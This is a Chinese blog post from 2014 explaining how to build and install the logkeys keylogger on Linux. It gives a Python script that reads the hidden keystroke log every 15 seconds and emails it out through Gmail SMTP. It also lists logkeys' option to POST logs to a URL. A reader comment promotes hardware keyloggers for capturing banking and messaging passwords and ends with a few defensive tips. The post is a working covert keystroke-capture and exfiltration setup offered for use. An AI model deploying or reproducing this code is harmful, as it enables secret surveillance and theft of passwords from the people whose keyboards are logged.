记录键盘敲击记录 && 定时发送邮件

本文最后更新于2014年6月25日,已超过 1 年没有更新,如果文章内容失效,还请反馈给我,谢谢!

logkeys的下载地址:http://code.google.com/p/logkeys/

安装:
tar zxvf logkeys-0.1.0.tar.gz
cd logkeys-0.1.0/
./configure
make
make install #卸载就是:make uninstall
然后:

cp logkeys /bin


使用选项说明:
root@kali:~/Desktop/temp/logkeys-0.1.1a/src# ./logkeys
Usage: logkeys [OPTION]...
Log depressed keyboard keys.

-s, --start start logging keypresses
-m, --keymap=FILE use keymap FILE
-o, --output=FILE log output to FILE [/var/log/logkeys.log]
-u, --us-keymap use en_US keymap instead of configured default
-k, --kill kill running logkeys process
-d, --device=FILE input event device [eventX from /dev/input/]
-?, --help print this help screen
--export-keymap=FILE export configured keymap to FILE and exit
--no-func-keys log only character keys
--no-timestamps don't prepend timestamps to log file lines
--post-http=URL POST log to URL as multipart/form-data file
--post-size=SIZE post log file when size equals SIZE [500k]

Examples: logkeys -s -m mylang.map -o ~/.secret-keys.log
logkeys -s -d event6
logkeys -k

logkeys version: 0.1.1a
logkeys homepage: <http://code.google.com/p/logkeys/>
定时发送邮件的Python脚本:
#!/usr/bin/env python
#coding=utf-8

import smtplib
from email.Message import Message
import time
import optparse
import sched

schedular=sched.scheduler(time.time, time.sleep)

def sendMail(emailTo, thePasswd):
    systemTime=time.strftime('%Y-%m-%d-%T',time.localtime(time.time()))
    try:
        fileObj=open("/root/.secret-keys.log", "r")    #"/root/.secret-keys.log"是键盘记录的输出文件,根据输出文件的位置不同自己需要进行适当的修改
        content=fileObj.read()
    except:
        print "Cannot read filen"
        exit()

    message = Message()
    message['Subject'] = 'Log Keys'    #邮件标题
    message['From'] = "10001@qq.com"
    message['To'] = emailTo
    message.set_payload("当前时间"+systemTime+"n"+content)    #邮件正文
    msg = message.as_string()

    smtp = smtplib.SMTP("smtp.gmail.com", port=587, timeout=20)
    #sm.set_debuglevel(1)		#开启debug模式
    smtp.starttls()			#使用安全连接
    smtp.login(emailTo, thePasswd)
    smtp.sendmail("1000101@qq.com", emailTo, msg)
    time.sleep(5)	#避免邮件没有发送完成就调用了quit()
    smtp.quit()

def perform(inc, emailTo, thePasswd):
    schedular.enter(inc, 0, perform, (inc, emailTo, thePasswd))
    sendMail(emailTo, thePasswd)

def myMain(inc, emailTo, thePasswd):
    schedular.enter(0, 0, perform, (inc, emailTo, thePasswd))
    schedular.run()

if __name__=="__main__":
    optObj=optparse.OptionParser()
    optObj.add_option("-u", dest="user", help="Gmail account")
    optObj.add_option("-p", dest="passwd", help="Gmail Passwd")
    (options, args)=optObj.parse_args()

    emailName=options.user
    emailPasswd=options.passwd
    myMain(15, emailName, emailPasswd)	#15表示的是相隔时间,可以根据自己的需求设定

 

在网上看到的内容,但时间就了,就忘了出处,搜索也没找到,如果有知道的请告知,谢谢。

声明: 除非注明,ixyzero.com文章均为原创,转载请以链接形式标明本文地址,谢谢!
https://ixyzero.com/blog/archives/141.html

《记录键盘敲击记录 && 定时发送邮件》上的4个想法

  1. 近源渗透测试之Keylogger实战
    https://mp.weixin.qq.com/s/ra_N5dkhZOcHmdHuzl-oQw
    `
    说起键盘记录,很多人第一反应肯定是各种病毒木马软件,然后现在的电脑安装了各种防护软件,很容易就被杀毒软件查杀了。那么有没有一款键盘记录器永远都不会被杀毒软件查杀,可以绕过各种防护记录支付宝、网上银行、QQ、邮箱的账号密码呢?

    答案是肯定的!那就是硬件键盘记录器。

    Keylogger是keelog公司出品的一系列硬件键盘记录器。它通过串联键盘和主机,记录受害者的所有键盘记录,因为是一款硬件设备,所以它并不会被任何杀毒软件拦截。并且体型小巧,如果不仔细查看,很难被发现。
    他外形小巧,但是功能强大。目前有AirDrive Keylogger、AirDrive Forensic Keylogger、KeyGrabber Forensic Keylogger等多个版本,并且每个版本还有基本款、PRO款、MAX款等。除了最基本的键盘记录功能以外,还有接入无线网络、释放无线热点、记录时间戳、电子邮件发送报告等强大功能,甚至在KeyGrabber Forensic Keylogger的PRO和MAX版本中,还具备HID脚本编写的功能,化身BadUSB。

    keelog除了键盘记录器以外,还有生产了支持DVI, VGA, HDMI类型的显示器记录器等取证产品。

    为防止类似事件发生:
    1.使用公共场所的电脑,一定要注意观察,尽量减少输入账号密码等敏感操作。
    2.如果确实需要输入密码,可以采用鼠标点击软键盘输入账号密码、第三方扫描登录等方式。
    3.公司办公区域、个人台式主机不要轻易让陌生人靠近、接触。
    `

发表评论

电子邮件地址不会被公开。 必填项已用*标注